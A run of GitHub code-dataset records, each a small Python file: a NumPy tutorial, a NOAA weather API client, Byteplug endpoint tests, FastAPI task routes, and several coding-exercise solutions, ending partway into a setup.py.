1:\n# try:\n# con.rate.sleep()\n# except (rospy.ROSInterruptException, SystemExit, KeyboardInterrupt) :\n# sys.exit(0)","repo_name":"dklee98/dq_ipp_ws","sub_path":"dq_ipp/scripts/tf_converter.py","file_name":"tf_converter.py","file_ext":"py","file_size_in_byte":6470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8613413803","text":"# NUMPY\n\n# Neden Numpy? (Why Numpy)\n# NumPy Array'i Oluşturmak (Creating Numpy Arrays)\n# NumPy Array özellikleri (Attibutes of Numpy Arrays)\n# Yeniden Şekillendirme (Reshaping)\n# Index Seçimi (Index Selection)\n# Slicing\n# Fancy Index\n# Numpy'da Koşullu İşlemler (Conditions on Numpy)\n# Matematiksel İşlemler (Mathematical Operations)\n\n\n# Why Numpy?\n\nimport numpy as np\n\na = [1, 2, 3, 4]\nb = [2, 3, 4, 5]\n\nab = []\n\nfor i in range(0, len(a)):\n ab.append(a[i] * b[i])\n\nab\n\na = np.array([1, 2, 3, 4])\nb = np.array([2, 3, 4, 5])\na * b\n\n\n# Creating Numpy Arrays\n\nimport numpy as np\n\nnp.array([1, 2, 3, 4, 5])\ntype(np.array([1, 2, 3, 4, 5]))\nnp.zeros(10, dtype=int)\nnp.random.randint(0, 10, size=10)\nnp.random.normal(10, 4, (3, 4))\n\n\n# Attibutes of Numpy Arrays\n\nimport numpy as np\n\n# ndim: size number (boyut sayısı)\n# shape: size information (boyut bilgisi)\n# size: total number of elements (toplam eleman sayısı)\n# dtype: array data type (dizi veri tipi)\n\na = np.random.randint(10, size=5)\n\na.ndim\na.shape\na.size\na.dtype\n\n\n# Reshaping (Yeniden Şekillendirme)\n\nnp.random.randint(1, 10, size=9)\nnp.random.randint(1, 10, size=9).reshape(3, 3)\n\nar = np.random.randint(1, 10, size=9)\nar.reshape(3, 3)\n\n\n# Index Selection\n\na = np.random.randint(10, size=10)\na[0]\na[0:5]\na[0] = 999\na\n\nm = np.random.randint(10, size=(3, 5))\nm\nm[0, 0]\nm[1, 1]\nm[2, 3]\n\nm[2, 3] = 999\nm\n\nm[2, 3] = 2.9 # Numpy, sabit tipli array dir. Aynı tip bilgisi saklar.\nm\n\nm[:, 0]\nm[1, :]\nm[0:2, 0:3]\n\n\n# Fancy Index\n\nv = np.arange(0, 30, 3)\nv[1]\nv[4]\n\ncatch = [1, 2, 3, 6]\n\nv[catch]\n\n\n# Conditions on Numpy (Numpy'da Koşullu İşlemler)\n\nimport numpy as np\n\nv = np.array([1, 2, 3, 4, 5])\n\n# for döngüsü ile;\nab = []\n\nfor i in v:\n if i < 3:\n ab.append(i)\n\nab\n\n# Numpy ile;\nv < 3\n\nv[v < 3]\nv[v > 3]\nv[v != 3]\nv[v == 3]\nv[v >= 3]\n\n\n# Mathematical Operations\n\nv = np.array([1, 2, 3, 4, 5])\n\nv / 5\nv * 5 / 10\nv ** 2\nv - 1\n\nnp.subtract(v, 1)\nnp.add(v, 1)\nnp.mean(v)\nnp.sum(v)\nnp.min(v)\nnp.max(v)\nnp.var(v)\n\n# NumPy ile İki Bilinmeyenli Denklem Çöüzümü\n\n# 5*x0 + x1 = 12\n# x0 + 3*x1 = 10\n\na = np.array([[5, 1], [1, 3]])\nb = np.array([12, 10])\n\nnp.linalg.solve(a, b)","repo_name":"IbrahimErkan/MiuulSummerCamp","sub_path":"Data Analysis with Python/DataAnalysisWithPython_Numpy/Numpy.py","file_name":"Numpy.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33162604041","text":"# -*- coding: utf-8 -*-\n\nfrom context import qroutes\nfrom qroutes import wrap_config\n\nimport unittest\n\nclass MiddlewareTestSuite(unittest.TestCase):\n '''Middleware test cases\n \n ''' \n\n def test_wrap_config(self):\n config = dict(config_item='my-config')\n def stub_handler(r):\n return r['config']\n\n middleware = wrap_config(stub_handler, config)\n\n self.assertEqual(middleware({}), config)\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"fillet54/qroutes","sub_path":"tests/test_middleware.py","file_name":"test_middleware.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74883479235","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport pandas as pd\nimport numpy as np\nfrom pandas.io import json\nimport requests\nimport os\nimport sys\nimport string\n\ndef query_builder(start_dt, end_dt, station, offset= 1):\n\n \"\"\"Function accepts: a start and end datetime string in the form 'YYYY-MM-DD mm:ss'\n which are <= 1 year apart, a station ID, and an offset.\n Function assembles a query parameters/arguments dict and returns an API query and the\n query dictionary (query_dict). The relevant base URL is the NCDC endpoint\n 'http://www.ncdc.noaa.gov/cdo-web/api/v2/data?'.\"\"\"\n\n import urllib\n\n # API endpoint\n base_url= 'http://www.ncdc.noaa.gov/cdo-web/api/v2/data?'\n\n # dict of NOAA query parameters/arguments\n\n query_dict = dict(startdate= start_dt, enddate= end_dt, stationid= station,\n offset= offset, datasetid= 'GHCND', limit= 1000)\n\n # encode arguments\n\n encoded_args = urllib.urlencode(query_dict)\n\n # query\n query = base_url + encoded_args\n\n # decode url % (reconvert reserved characters to utf8 string)\n query= urllib.unquote(query)\n\n # create and return query from base url and encoded arguments\n return query, query_dict\n\n\ndef offsetter(response):\n\n \"\"\"\n Function accepts a restful query response (JSON)\n Function returns a dictionary of offsets to pull the entire query set\n where the set is limited to 1000 records per query. Function also\n returns a record count for use in validation.\n \"\"\"\n\n # get repeats and repeat range\n import math\n count= response['metadata']['resultset']['count']\n repeats= math.ceil(count/1000.)\n repeat_range= range(int(repeats))\n\n # get offsets dictionary\n\n offset= 1\n offsets= [1]\n for item in repeat_range[1:]:\n offset += 1000\n offsets.append(offset)\n\n\n # zip up the results and convert to dictionary\n offset_dict= dict(zip(repeat_range[1:], offsets[1:])) # the first call has been done already to get meta\n\n return offset_dict, count # for quality control\n\n\ndef execute_query(query):\n\n \"\"\"\n Function accepts an NOAA query for daily summaries for a specfic location\n and executes the query.\n Function returns a response (JSON)\n \"\"\"\n url = query\n # replace token with token provided by NOAA. Enter token as string\n headers = {'token': NOAA_Token_Here} # https://www.ncdc.noaa.gov/cdo-web/token\n response = requests.get(url, headers = headers)\n response = response.json()\n\n return response\n\n\ndef extract_results(response):\n\n \"\"\"\n Function accepts a NOAA query response (JSON) return the results\n key values as well as the number of records (for use in validation).\n \"\"\"\n data= response['results']\n # for quality control to verify retrieval of all rows\n length= len(data)\n\n return data, length\n\n\ndef collator(results):\n\n \"\"\"\n Functions accepts the results key of an NOAA query response (JSON)\n and returns a tidy data set in PANDAS, where each record is an\n observation about a day.\n \"\"\"\n\n df= pd.DataFrame(results)\n df= df.drop(['attributes','station'], axis=1)\n df= df.pivot(index= 'date',columns= 'datatype', values= 'value').reset_index()\n\n return df\n\n\ndef get_ncdc(start_dt, end_dt, station):\n\n \"\"\"\n Function accepts a start date (MM-DD-YYY) an end date (YYYY-MM-DD)\n and a NOAA station ID. Date limit is 1 year.\n Function returns a tidy dataset in a PANDAS DataFrame where\n each row represents an observation about a day, a record count\n and a query parameters dictionary.\n \"\"\"\n\n\n # count for verifying retrieval of all rows\n record_count= 0\n # initial query\n query, query_dict= query_builder(start_dt, end_dt, station)\n response= execute_query(query)\n\n # extract results and count\n results, length= extract_results(response)\n record_count += length\n\n # get offsets for remaining queries\n off_d, count= offsetter(response)\n\n # execute remaining queries and operations\n for offset in off_d:\n query, _= query_builder(start_dt, end_dt, station, off_d[offset])\n print(query)\n response= execute_query(query)\n next_results, next_length= extract_results(response)\n\n record_count += next_length\n\n # concat results lists\n results += next_results\n\n assert record_count == count, 'record count != count'\n\n collated_data= collator(results)\n\n return collated_data, record_count, query_dict\n\n\n\ndef gen_csv(df, query_dict):\n \"\"\"\n Arguments: PANDAS DataFrame, a query parameters dictionary\n Returns: A CSV of the df with dropped index and named by dict params\n \"\"\"\n\n # extract params\n station= query_dict['stationid']\n start= query_dict['startdate']\n end= query_dict['enddate']\n\n # using os.path in case of future expansion to other directories\n path= os.path.join(station + '_' + start + '_' + end + '.' + 'csv')\n\n # remove problem characters (will add more in future)\n exclude_chars= ':'\n path= path.replace(exclude_chars, \"_\")\n\n # export to csv\n\n my_csv= df.to_csv(path, index= False)\n\n return my_csv, path\n","repo_name":"baumanab/noaa_requests","sub_path":"noaa_weather_tools/noaa_weather_tools.py","file_name":"noaa_weather_tools.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38528677846","text":"import time\nfrom sense_hat import SenseHat\n\nsense = SenseHat()\n\nwhile (True) :\n fic = open(\"server.txt\", 'r') #Récupération des données du fichier\n ligne = fic.readlines()\n fic.close()\n ligne = ligne[-1]\n data = ligne.split(';') #humidity;temperature\n data[0] = float(data[0])\n data[1] = float(data[1])\n data.append(sense.get_humidity())\n data.append(sense.get_temperature())\n data.append(sense.get_pressure())\n sense.show_message(\"Hext={:3.1f}%, Text={:5.1f}*C, Hint={:3.1f}%, Tint={:5.1f}*C, P={:4.0f}hPa\".format(data[0], data[1], data[2], data[3], data[4]))\n fic2 = open(\"internSensor.txt\", 'a')\n fic2.write(\"{2};{3};{4}\".format(data))\n fic2.close()\n","repo_name":"DemJech/Projet-EB04","sub_path":"src/sense_hat_printing.py","file_name":"sense_hat_printing.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26089531425","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def reorderList(self, head: Optional[ListNode]) -> None:\n \"\"\"\n Do not return anything, modify head in-place instead.\n \"\"\"\n slow = head\n fast = head.next\n while fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n middle = slow.next\n slow.next = None\n prev = None\n while middle:\n temp = middle.next\n middle.next = prev\n prev = middle\n middle = temp\n first, last = head, prev\n while last:\n temp1 = first.next\n temp2 = last.next\n first.next = last\n last.next = temp1\n first = temp1\n last = temp2\n \n \n \n \n \n \n \n \n \n ","repo_name":"Rediet-Ferew/competitive-programming","sub_path":"143-reorder-list/143-reorder-list.py","file_name":"143-reorder-list.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14655296502","text":"with open(\"../Mail Merge Project Start/Input/Letters/starting_letter.txt\") as letter:\n letter_content = letter.read()\n\nwith open(\"../Mail Merge Project Start/Input/Names/invited_names.txt\") as name_files:\n names = name_files.readlines()\n for name in names:\n stripped_name = name.strip()\n new_letter = letter_content.replace(\"[name]\", stripped_name)\n with open(f\"./Output/ReadyToSend/Letter To {stripped_name}\", mode=\"w\") as Completed_letter:\n final_letter = Completed_letter.write(new_letter)\n","repo_name":"umole/Python-Files-Directories-and-Paths-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23626696671","text":"# -*- coding: utf-8 -*-\nfname = \"A-large\"\nfin = open(fname+\".in\",\"r\")\nfout = open(fname+\".out\",\"w\")\ndef gcj_read():\n linestr = fin.readline().strip()\n return [int(numb) for numb in linestr.split()]\n\nnumcases = gcj_read()[0]\n\ndef makeredmap(R,C,bluemap):\n redmap1 = set() # Forward slashes\n redmap2 = set() # Backward slashes\n for r in range(R):\n for c in range(C):\n if (r,c) in bluemap:\n toreplace = {(r,c), (r+1,c), (r,c+1), (r+1,c+1)}\n if toreplace.issubset(bluemap):\n redmap1.update([(r,c), (r+1,c+1)])\n redmap2.update([(r+1,c), (r,c+1)])\n bluemap -= toreplace\n else:\n return \"Impossible\"\n \n gettile = lambda x,y: \"/\" if (x,y) in redmap1 else \"\\\\\" if (x,y) in redmap2 else \".\"\n return \"\\n\".join(\"\".join(gettile(r,c) for c in range(C)) for r in range(R))\n \n\nfor caseno in range(numcases):\n R, C = gcj_read()\n bluemap = set()\n for r in range(R):\n row = fin.readline().strip()\n for c, piece in enumerate(row):\n if piece == \"#\":\n bluemap.add((r,c))\n \n outstr = makeredmap(R,C,bluemap)\n \n fout.write(\"Case #\"+str(caseno+1)+\":\\n\")\n fout.write(outstr + \"\\n\")\n\nfin.close()\nfout.close()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_84/32.py","file_name":"32.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27332723059","text":"import time\nfrom multiprocessing import Process\nimport json\nimport requests\nfrom byteplug.document.node import Node\nfrom byteplug.endpoints.endpoint import request, error\nfrom byteplug.endpoints.endpoint import adaptor\nfrom byteplug.endpoints.endpoint import endpoint, collection_endpoint\nfrom byteplug.endpoints.endpoints import Endpoints\nfrom byteplug.endpoints.exception import EndpointError\nimport pytest\n\ndef requests_post_json(url, document, headers={}):\n return requests.post(\n url,\n data=json.dumps(document),\n headers=headers | {'Content-Type': 'application/json'}\n )\n\ndef build_url(route, port=8080):\n return \"http://127.0.0.1:{0}{1}\".format(port, route)\n\ndef start_server(endpoints, port):\n endpoints.flask.config.update({\n \"THREADED\": False,\n \"DEBUG\": False,\n \"TESTING\": True,\n })\n\n # Create a separate process that runs the web server.\n def run_server(endpoints):\n # TODO; make sure it's running no thread/no debug\n\n endpoints.run('127.0.0.1', port)\n\n process = Process(target=run_server, args=(endpoints,))\n\n # Start the server and give it some time to initialize.\n process.start()\n time.sleep(0.1)\n\n return process\n\ndef stop_server(process, port):\n # Send a CTRL+C signal (SIGTERM) to the server process and wait until it\n # returns.\n process.terminate()\n process.join()\n\ndef test_endpoints():\n \"\"\" Test non-collection endpoint (basic tests). \"\"\"\n\n from byteplug.endpoints.endpoint import response\n\n @request(Node('string', pattern=\"foo\"))\n @response(Node('string', pattern=\"bar\"))\n @endpoint(\"foobar\")\n def foobar(document):\n assert document == \"foo\"\n return \"bar\"\n\n endpoints = Endpoints(\"test\")\n endpoints.add_endpoint(foobar)\n\n server = start_server(endpoints, 8081)\n\n url = build_url('/foobar', 8081)\n response = requests_post_json(url, \"foo\")\n assert response.status_code == 200\n assert response.json() == \"bar\"\n\n stop_server(server, 8081)\n\ndef test_collections():\n \"\"\" Test collection endpoints (basic tests). \"\"\"\n\n from byteplug.endpoints.endpoint import response\n\n @response(Node('string', pattern=\"foo/bar\").to_object())\n @collection_endpoint(\"foo\", \"bar\")\n def bar():\n return \"foo/bar\"\n\n @response(Node('string', pattern=\"foo/quz\").to_object())\n @collection_endpoint(\"foo\", \"quz\", operate_on_item=True)\n def quz(item):\n assert item == \"42\"\n return \"foo/quz\"\n\n endpoints = Endpoints(\"test\")\n endpoints.add_collection(\"foo\")\n endpoints.add_endpoint(bar)\n endpoints.add_endpoint(quz)\n\n server = start_server(endpoints, 8082)\n\n # test calling a collection endpoint operating on the collection\n url = build_url('/foo/bar', 8082)\n response = requests.post(url)\n assert response.status_code == 200\n assert response.json() == \"foo/bar\"\n\n # test calling a collection endpoint operating on an item\n url = build_url('/foo/42/quz', 8082)\n response = requests.post(url)\n assert response.status_code == 200\n assert response.json() == \"foo/quz\"\n\n stop_server(server, 8082)\n\ndef test_request():\n \"\"\" Test request-related functionalities.\n\n Test triggering the four possible client-side errors.\n\n - 'json-body-expected'\n - 'body-not-json-format'\n - 'json-body-specs-mismatch'\n - 'no-json-body-expected'\n\n And also test calling the endpoints with @request correctly.\n \"\"\"\n\n @endpoint(\"foo\")\n def foo():\n pass\n\n @request(Node('string'))\n @endpoint(\"bar\")\n def bar(_document):\n pass\n\n endpoints = Endpoints(\"test\")\n endpoints.add_endpoint(foo)\n endpoints.add_endpoint(bar)\n\n server = start_server(endpoints, 8083)\n\n # test triggering the 'no-json-body-expected' client-side error\n url = build_url('/foo', 8083)\n response = requests.post(url, json={'foo': 'bar'})\n assert response.status_code == 400\n assert response.json() == {\n 'kind': 'client-side-error',\n 'code': 'no-json-body-expected',\n 'name': \"No JSON body was expected\",\n 'description': \"This endpoint did not expect a body in the HTTP request.\"\n }\n\n # test calling the 'foo' endpoint correctly\n url = build_url('/foo', 8083)\n response = requests.post(url)\n assert response.status_code == 204\n assert response.text == ''\n\n # test triggering the 'json-body-expected' client-side error\n url = build_url('/bar', 8083)\n response = requests.post(url)\n assert response.status_code == 400\n assert response.json() == {\n 'kind': 'client-side-error',\n 'code': 'json-body-expected',\n 'name': \"A JSON body was expected\",\n 'description': \"This endpoint expected a JSON body in the HTTP request.\"\n }\n\n # test triggering the 'body-not-json-format' client-side error\n url = build_url('/bar', 8083)\n response = requests.post(url, data=\"Hello world!\")\n assert response.status_code == 400\n assert response.json() == {\n 'kind': 'client-side-error',\n 'code': 'body-not-json-format',\n 'name': \"The body is not JSON format\",\n 'description': \"The format of the body in the HTTP request must be JSON.\"\n }\n\n # test triggering the 'json-body-specs-mismatch' client-side error\n url = build_url('/bar', 8083)\n response = requests_post_json(url, 42)\n assert response.status_code == 400\n assert response.json() == {\n 'kind': 'client-side-error',\n 'code': 'json-body-specs-mismatch',\n 'name': \"The JSON body does not match the specs\",\n 'description': \"The JSON body in the HTTP request does not match the specifications.\",\n 'errors': [{'path': '', 'message': \"was expecting a JSON string\"}],\n 'warnings': []\n }\n\n # test calling the 'bar' endpoint correctly\n url = build_url('/bar', 8083)\n document =\"Hello world!\"\n response = requests_post_json(url, document)\n assert response.status_code == 204\n assert response.text == ''\n\n stop_server(server, 8083)\n\ndef test_response():\n \"\"\" Test response-related functionalities.\n\n Test triggering the 'invalid-response-specs-mismatch' server-side error and\n test calling the endpoints with @response in various scenarios.\n \"\"\"\n\n from byteplug.endpoints.endpoint import response\n\n @endpoint(\"foo-with-response\")\n def foo_with_response():\n return \"Hello world!\"\n\n @endpoint(\"foo-with-no-response\")\n def foo_with_no_response():\n pass\n\n @response(Node('string'))\n @endpoint(\"bar-with-response\")\n def bar_with_response():\n return \"Hello world!\"\n\n @response(Node('string'))\n @endpoint(\"bar-with-invalid-response\")\n def bar_with_invalid_response():\n return 42\n\n @response(Node('string'))\n @endpoint(\"bar-with-no-response\")\n def bar_with_no_response():\n pass\n\n endpoints = Endpoints(\"test\")\n endpoints.add_endpoint(foo_with_response)\n endpoints.add_endpoint(foo_with_no_response)\n endpoints.add_endpoint(bar_with_response)\n endpoints.add_endpoint(bar_with_invalid_response)\n endpoints.add_endpoint(bar_with_no_response)\n\n server = start_server(endpoints, 8094)\n\n # Port 8084 seems unavailable on some Github runners.\n url = build_url('/foo-with-response', 8094)\n response = requests.post(url)\n assert response.status_code == 204\n assert response.text == ''\n\n url = build_url('/foo-with-no-response', 8094)\n response = requests.post(url)\n assert response.status_code == 204\n assert response.text == ''\n\n url = build_url('/bar-with-response', 8094)\n response = requests.post(url)\n assert response.status_code == 200\n assert response.json() == \"Hello world!\"\n\n # test triggering the 'invalid-response-specs-mismatch' server-side error\n url = build_url('/bar-with-invalid-response', 8094)\n response = requests.post(url)\n assert response.status_code == 500\n assert response.json() == {\n 'kind': 'server-side-error',\n 'code': 'invalid-response-specs-mismatch',\n 'name': \"Invalid returned response JSON body\",\n 'description': \"The endpoint did not return a response JSON body matching its specifications.\",\n 'errors': [{'path': '', 'message': \"was expecting a string\"}],\n 'warnings': []\n }\n\n url = build_url('/bar-with-no-response', 8094)\n response = requests.post(url)\n assert response.status_code == 500\n assert response.json() == {\n 'kind': 'server-side-error',\n 'code': 'invalid-response-specs-mismatch',\n 'name': \"Invalid returned response JSON body\",\n 'description': \"The endpoint did not return a response JSON body matching its specifications.\",\n 'errors': [{'path': '', 'message': \"was expecting a string\"}],\n 'warnings': []\n }\n\n stop_server(server, 8094)\n\ndef test_errors():\n \"\"\" Test error-related functionalities.\n\n Test triggering the following three server-side errors.\n\n - 'invalid-error'\n - 'invalid-error-specs-mismatch'\n - 'unhandled-error'\n\n And also test calling the endpoints with @error correctly.\n \"\"\"\n\n from byteplug.endpoints.endpoint import response\n\n @request(Node('enum', values=[\n 'foo', 'bar', 'quz', 'yolo',\n 'specs-mismatch',\n 'invalid-error',\n 'unhandled-error'\n ]))\n @error(\"foo\", Node('flag'), \"Foo\", \"Description of 'Foo' error.\")\n @error(\"bar\", Node('number'), name=\"Bar\")\n @error(\"quz\", Node('string'), description=\"Description of 'Quz' error.\")\n @error(\"yolo\") # This is an error with no specs\n @endpoint(\"foobar\")\n def foobar(document):\n if document == 'foo':\n raise EndpointError('foo', False)\n elif document == 'bar':\n raise EndpointError('bar', 42)\n elif document == 'quz':\n raise EndpointError('quz', \"Hello world!\")\n elif document == 'yolo':\n raise EndpointError('yolo', None)\n elif document == 'specs-mismatch':\n raise EndpointError('quz', 42)\n elif document == 'invalid-error':\n raise EndpointError('oloy')\n elif document == 'unhandled-error':\n raise RuntimeError\n\n endpoints = Endpoints(\"test\")\n endpoints.add_endpoint(foobar)\n\n server = start_server(endpoints, 8085)\n\n url = build_url('/foobar', 8085)\n response = requests_post_json(url, \"foo\")\n assert response.status_code == 500\n assert response.json() == {\n 'kind': 'error',\n 'code': 'foo',\n 'name': \"Foo\",\n 'description': \"Description of 'Foo' error.\",\n 'value': False\n }\n\n url = build_url('/foobar', 8085)\n response = requests_post_json(url, \"bar\")\n assert response.status_code == 500\n assert response.json() == {\n 'kind': 'error',\n 'code': 'bar',\n 'name': \"Bar\",\n 'value': 42\n }\n\n url = build_url('/foobar', 8085)\n response = requests_post_json(url, \"quz\")\n assert response.status_code == 500\n assert response.json() == {\n 'kind': 'error',\n 'code': 'quz',\n 'description': \"Description of 'Quz' error.\",\n 'value': \"Hello world!\"\n }\n\n url = build_url('/foobar', 8085)\n response = requests_post_json(url, \"yolo\")\n assert response.status_code == 500\n assert response.json() == {\n 'kind': 'error',\n 'code': 'yolo'\n }\n\n url = build_url('/foobar', 8085)\n response = requests_post_json(url, \"specs-mismatch\")\n assert response.status_code == 500\n assert response.json() == {\n 'kind': 'server-side-error',\n 'code': 'invalid-error-specs-mismatch',\n 'name': \"Invalid returned error JSON body\",\n 'description': \"The endpoint did not return an error JSON body matching its specifications.\",\n 'errors': [{'path': '', 'message': 'was expecting a string'}],\n 'warnings': []\n }\n\n url = build_url('/foobar', 8085)\n response = requests_post_json(url, \"invalid-error\")\n assert response.status_code == 500\n assert response.json() == {\n 'kind': 'server-side-error',\n 'code': 'invalid-error',\n 'name': \"Invalid returned error\",\n 'description': \"The endpoint returned an unexpected error (not listed in its specifications).\"\n }\n\n url = build_url('/foobar', 8085)\n response = requests_post_json(url, \"unhandled-error\")\n assert response.status_code == 500\n assert response.json() == {\n 'kind': 'server-side-error',\n 'code': 'unhandled-error',\n 'name': \"Unhandled error\",\n 'description': \"An unexpected and unhandled error occurred during the execution of the endpoint.\"\n }\n\n\n stop_server(server, 8085)\n\ndef test_authentication():\n \"\"\" Test functionalities to authentication.\n\n To be written.\n \"\"\"\n\n from byteplug.endpoints.endpoint import response\n\n @endpoint(\"foo\", authentication=True)\n def foo(token):\n assert token == \"abcd1234\"\n\n endpoints = Endpoints(\"test\")\n endpoints.add_endpoint(foo)\n\n server = start_server(endpoints, 8086)\n\n # test without a token\n url = build_url('/foo', 8086)\n response = requests.post(url)\n assert response.status_code == 401\n # assert response.text == \"\"\n\n # test with a token\n token = \"abcd1234\"\n headers = {\"Authorization\": f\"Bearer {token}\"}\n url = build_url('/foo', 8086)\n response = requests.post(url, headers=headers)\n assert response.status_code == 204\n\n # TODO; More tests should be performed.\n #\n # - test request with an invalid token ?\n # - test request with an authentication header of the wrong format\n # - test sensitivity ?\n # - what if endpoint is not protected and a token is passed\n #\n\n stop_server(server, 8086)\n\ndef test_adaptor_decorator():\n \"\"\" To be written.\n\n To be written.\n \"\"\"\n\n # The @adaptor decorator is a feature that was designed for Bytpelug own\n # need without many thoughts about more general applications. Therefore,\n # this unit test is only testing its canonical application.\n from byteplug.endpoints.endpoint import response\n\n def my_adaptor(token=None, item=None, document=None):\n args = []\n # unpack token\n if token:\n args.append(\"abcd1234\")\n\n if item:\n args.append('42')\n\n if document:\n if type(document) is dict:\n args.extend(list(document.values()))\n else:\n args.append(document)\n\n return args\n\n request_specs = Node('map', fields={\n 'foo': Node('flag'),\n 'bar': Node('number'),\n 'quz': Node('string')\n })\n\n document = {\n \"foo\": False,\n \"bar\": 42,\n \"quz\": \"Hello world!\"\n }\n\n @request(request_specs)\n @response(Node('string'))\n @adaptor(my_adaptor)\n @endpoint(\"foo\")\n def foo(foo, bar, quz):\n assert foo == False\n assert bar == 42\n assert quz == \"Hello world!\"\n\n return \"foo\"\n\n @request(request_specs)\n @response(Node('string'))\n @adaptor(my_adaptor)\n @collection_endpoint(\"quz\", \"foo\", operate_on_item=True)\n def quz_foo(item, foo, bar, quz):\n assert item == \"42\"\n assert foo == False\n assert bar == 42\n assert quz == \"Hello world!\"\n\n return \"quz/foo\"\n\n @request(request_specs)\n @response(Node('string'))\n @adaptor(my_adaptor)\n @collection_endpoint(\"quz\", \"bar\", operate_on_item=True, authentication=True)\n def quz_bar(user_id, item, foo, bar, quz):\n user_id == \"abcd1234\"\n assert item == \"42\"\n assert foo == False\n assert bar == 42\n assert quz == \"Hello world!\"\n\n return \"quz/bar\"\n\n endpoints = Endpoints(\"test\")\n endpoints.add_endpoint(foo)\n endpoints.add_collection(\"quz\")\n endpoints.add_endpoint(quz_foo)\n endpoints.add_endpoint(quz_bar)\n\n server = start_server(endpoints, 8087)\n\n url = build_url('/foo', 8087)\n response = requests_post_json(url, document)\n assert response.status_code == 200\n assert response.json() == \"foo\"\n\n url = build_url('/quz/42/foo', 8087)\n response = requests_post_json(url, document)\n assert response.status_code == 200\n assert response.json() == \"quz/foo\"\n\n url = build_url('/quz/42/bar', 8087)\n headers = {\"Authorization\": \"Bearer abcd1234\"}\n response = requests_post_json(url, document, headers)\n assert response.status_code == 200\n assert response.json() == \"quz/bar\"\n\n stop_server(server, 8087)\n\n# TODO; Implemented the following unit test.\ndef test_specs_endpoint():\n \"\"\" To be written.\n\n To be written.\n \"\"\"\n\n # TODO; This test should be more developed and more accurate (more\n # endpoints, and carefully check every part of the JSON/YAML\n # response).\n #\n\n @endpoint(\"foo\")\n def foo():\n pass\n\n endpoints = Endpoints(\"test\")\n endpoints.add_endpoint(foo)\n endpoints.add_expose_specs_endpoint('/my-yaml-specs')\n endpoints.add_expose_specs_endpoint('/my-json-specs', no_yaml=True)\n\n server = start_server(endpoints, 8088)\n\n url = build_url('/my-yaml-specs', 8088)\n response = requests.get(url)\n assert response.status_code == 200\n assert response.text.startswith(\"standard: https://www.byteplug.io/standards/easy-endpoints/1.0\")\n\n url = build_url('/my-json-specs', 8088)\n response = requests.get(url)\n assert response.status_code == 200\n json_response = response.json()\n assert 'standard' in json_response\n assert json_response['standard'] == \"https://www.byteplug.io/standards/easy-endpoints/1.0\"\n\n stop_server(server, 8088)\n","repo_name":"byteplug/byteplug-python-toolkit","sub_path":"endpoints/tests/test_endpoints.py","file_name":"test_endpoints.py","file_ext":"py","file_size_in_byte":17607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16845411114","text":"from fastapi import APIRouter, Depends, HTTPException\nfrom sqlalchemy.orm import Session\nfrom typing import List\nfrom app.db.crud import tasks as task_crud\nfrom app.db.schemas import tasks as task_schemas, users as user_schemas\nfrom app.api.dependencies import get_current_user\nfrom app.db.session import db_session\n\nrouter = APIRouter()\n\n@router.post(\"/\", response_model=task_schemas.Task)\nasync def create_task(task: task_schemas.TaskCreate, current_user: user_schemas.User = Depends(get_current_user)):\n with db_session() as db:\n new_task = task_crud.create_task(db, task, owner_id=current_user.id)\n return new_task\n\n@router.get(\"/\", response_model=List[task_schemas.Task])\nasync def get_tasks(current_user: user_schemas.User = Depends(get_current_user)):\n with db_session() as db:\n tasks = task_crud.get_tasks(db, owner_id=current_user.id)\n return tasks\n\n@router.get(\"/{task_id}\", response_model=task_schemas.Task)\nasync def get_task(task_id: int, current_user: user_schemas.User = Depends(get_current_user)):\n with db_session() as db:\n task = task_crud.get_task(db, task_id)\n if task.owner_id != current_user.id:\n raise HTTPException(status_code=400, detail=\"Not enough permissions\")\n return task\n\n@router.put(\"/{task_id}\", response_model=task_schemas.Task)\nasync def update_task(task_id: int, task: task_schemas.TaskUpdate, current_user: user_schemas.User = Depends(get_current_user)):\n with db_session() as db:\n updated_task = task_crud.update_task(db, task_id, task)\n return updated_task\n\n@router.delete(\"/{task_id}\", response_model=task_schemas.Task)\nasync def delete_task(task_id: int, current_user: user_schemas.User = Depends(get_current_user)):\n with db_session() as db:\n task = task_crud.delete_task(db, task_id)\n return task\n\n@router.post(\"/{task_id}/assign/{user_id}\", response_model=task_schemas.Task)\nasync def assign_task(task_id: int, user_id: int, current_user: user_schemas.User = Depends(get_current_user)):\n with db_session() as db:\n task = task_crud.assign_task(db, task_id, user_id)\n return task\n","repo_name":"Daniel-Santiago-Acosta-1013/task-manager-fast-api","sub_path":"app/api/routes/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42420841602","text":"import ast\nimport re\nfrom setuptools import find_packages, setup\n\n\nwith open(\"portal/__init__.py\", \"rb\") as f:\n version_line = re.search(\n r\"__version__\\s+=\\s+(.*)\", f.read().decode(\"utf-8\")\n ).group(1)\n version = str(ast.literal_eval(version_line))\n\n\nsetup(\n 